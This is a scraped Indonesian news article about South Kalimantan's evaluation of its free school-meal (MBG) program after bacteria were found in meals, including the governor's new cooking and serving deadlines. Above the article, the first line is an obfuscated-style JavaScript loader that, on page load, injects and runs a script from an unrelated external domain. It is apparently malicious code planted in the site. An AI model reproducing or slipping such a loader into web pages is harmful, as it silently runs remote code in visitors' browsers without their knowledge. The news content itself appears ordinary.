(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan mengevaluasi pelaksanaan program Makan Bergizi Gratis (MBG) yang sudah berjalan tujuh bulan operasional dapur-dapur MBG di 13 kabupaten dan kota se Kalsel, Jumat (21/11/2025).
Rapat koordinasi dilakukan bersama Badan Gizi Nasional (BGN) Koordinator Wilayah Kalsel, seluruh dapur SPPG dan SPPI serta para mitra dan yayasan yang ikut andil dalam operasional dapur MBG.
Dalam rakor hadir sejumlah instansi Forkopimda Kalsel, bersama Kapolda Kalsel dan jajaran, serta Korem 101/Antasari dan jajaran, serta BPOM Kalsel.
Baca juga: Cangkurah Kreatif Festival 2025, Wali Kota Yamin: Ruang Pengembangan Ekraf Daerah
Hasil evaluasi, Gubernur Kalsel H Muhidin meminta dapur MBG harus menyelesaikan proses memasak dan menyiapkan paket pada pukul 04.00 pagi dan menyajikannya satu jam setelahnya yakni pukul 05.00 pagi.
“Karena kemarin sempat ada penemuan bakteri-bakteri yang terjadi pada paket MBG di sejumlah dapur, maka kita lakukan evaluasi,” ucap Gubernur Kalsel H Muhidin saat diwawancarai, Jumat (21/11/2025) siang.
“Ada empat penemuan, dua yang diangkat oleh media, yang dua tidak diangkat, sehingga masalah ini kami langsung respon dengan mengevaluasi agar di waktu yang akan datang tidak terulang,” ungkapnya.
H Muhidin menjelaskan selama ini mindset para orangtua tertuju pada informasi yang mengatakan dapur menyelesaikan proses memasak pada pukul 02.00 dini hari.
Baca juga: SIPBEH Satpol PP Kapuas Memperoleh Pengakuan Hak Cipta dari DJKI
“Kami menekankan kepada seluruh SPPG (Satuan Pelayanan Pemenuhan Gizi) selesai masak bukan jam 2 atau jam 1. Tetapi selesai memasaknya jam 4 penyajiannya jam 5,” tegas Muhidin.
Gubernur Kalsel H Muhidin. Foto: wanda
Saat ini katanya, tak dipungkiri masih ada sejumlah dapur MBG yang menyelesaikan proses memasak pada pukul 02.00 dini hari, sehingga makanan yang didiamkan hingga proses pengantaran pukul 8 pagi dapat berpotensi menimbulkan bakteri.
“Bakteri bisa timbul karena makanan terdiam beberapa jam, seperti dari BPOM menyebut bahwa apabila jarak waktu selesai masak hingga pengantaran lebih dari lima jam itu akan berpotensi terjadi bakteri,” jelasnya.
Baca juga: Pasi Intel Wakili Dandim 1011/Kuala Kapuas Hadiri Rapat Paripurna
Dengan disajikan pada pukul 05.00 pagi, jarak dengan waktu pengantaran hanya berkisar tiga jam saja atau kurang dari lima jam. Dehingga kedepan ia berharap seluruh SPPG di Kalsel dapat menerapkan evaluasi tersebut.
“Jadi itu kurang lebih dari penyajian hingga makanan diantar itu kurang dari lima jam paling tidak. Mudah-mudahan tidak akan ada lagi kejadian,” tambah Muhidin.
Di sisi lain Gubernur Kalsel akan membentuk Satuan Tugas (Satgas) yang akan melakukan monitoring ke dapur-dapur MBG ataupun SPPG yang ada di Kalsel.
Baik itu dapur yang ada di provinsi maupun kabupaten dan kota akan dikontrol oleh Satgas MBG untuk memastikan proses memasak makanan sudah selesai pada pukul 04.00 pagi dan disajikan pukul 05.00.
Baca juga: Pasokan Terganggu, Harga Cabai Naik di Pasar Bauntung Banjarbaru
“Yang penting jam 4 itu selesai masak jam 5 penyajian. Kalau selesai masak jam 4 kan pasti sudah tidak terlambat distribusinya. Insya Allah kita semua sepakat,” tandasnya.
Satgas akan dibentuk kolaborasi dari Kepolisian dan TNI serta eluruh Forkopimda Kalsel yang bersepakat untuk bersama-sama menengani permasalahan pada program MBG di Kalsel.
Sedangkan dari hasil evaluasi, H Muhidin mengimbau kepada masyarakat khusus para orangtua, agar tidak khawatir ketika anaknya menyantap masakan yang disajikan dapur-dapur MBG di Kalsel.
Koordinator Wilayah (Korwil) MBG Provinsi Kalsel, Siti Fatimah juga menegaskan, jika hasil evaluasi bersama Gubernur dalam rapat ini dapat segera dilaksanakan oleh dapur-dapur MBG yang ada di Kalsel.
“Hari ini kan sudah dihadiri langsung sama mitra dan yayasan dan kepala SPPG se Kalsel, dan mereka langsung mendengar, maka harapannya sudah mulai segera dilaksanakan dalam waktu dekat,” ujar Korwil MBG Provinsi Kalsel, Siti Fatimah.
Baca juga: Sekda Kapuas Hadiri Rapat Paripurna Propemperda 2026
Begitupun dengan Korwil masing-masing SPPG kabupaten dan kota yang hadir akan memberikan arahan catatan terkait hasil evaluasi pelaksanaan MBG oleh Gubernur, sekaligus diteruskan kepada mitra dan yayasan yang tidak berhadir.
“Jadi tidak lagi melalui perpanjangan tangan yang lain. Tapi yang tidak hadir nanti akan dibantu, disosialisasikan oleh Korwil kabupaten dan kota yang berhadir hari ini,” ungkapnya.
Dia turut mengimbau para orangtua tidak khawatir ketika anaknya menyantap MBG di sekolah dan turut serta para orangtua dalam menyukseskan program MBG di Kalsel.
“Intinya dengan waktu pengantaran jam 8 pagi, jam 4 pagi harus selesai masak dan disajikan di jam 5 pagi karena ada proses pendinginan,” tutup dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.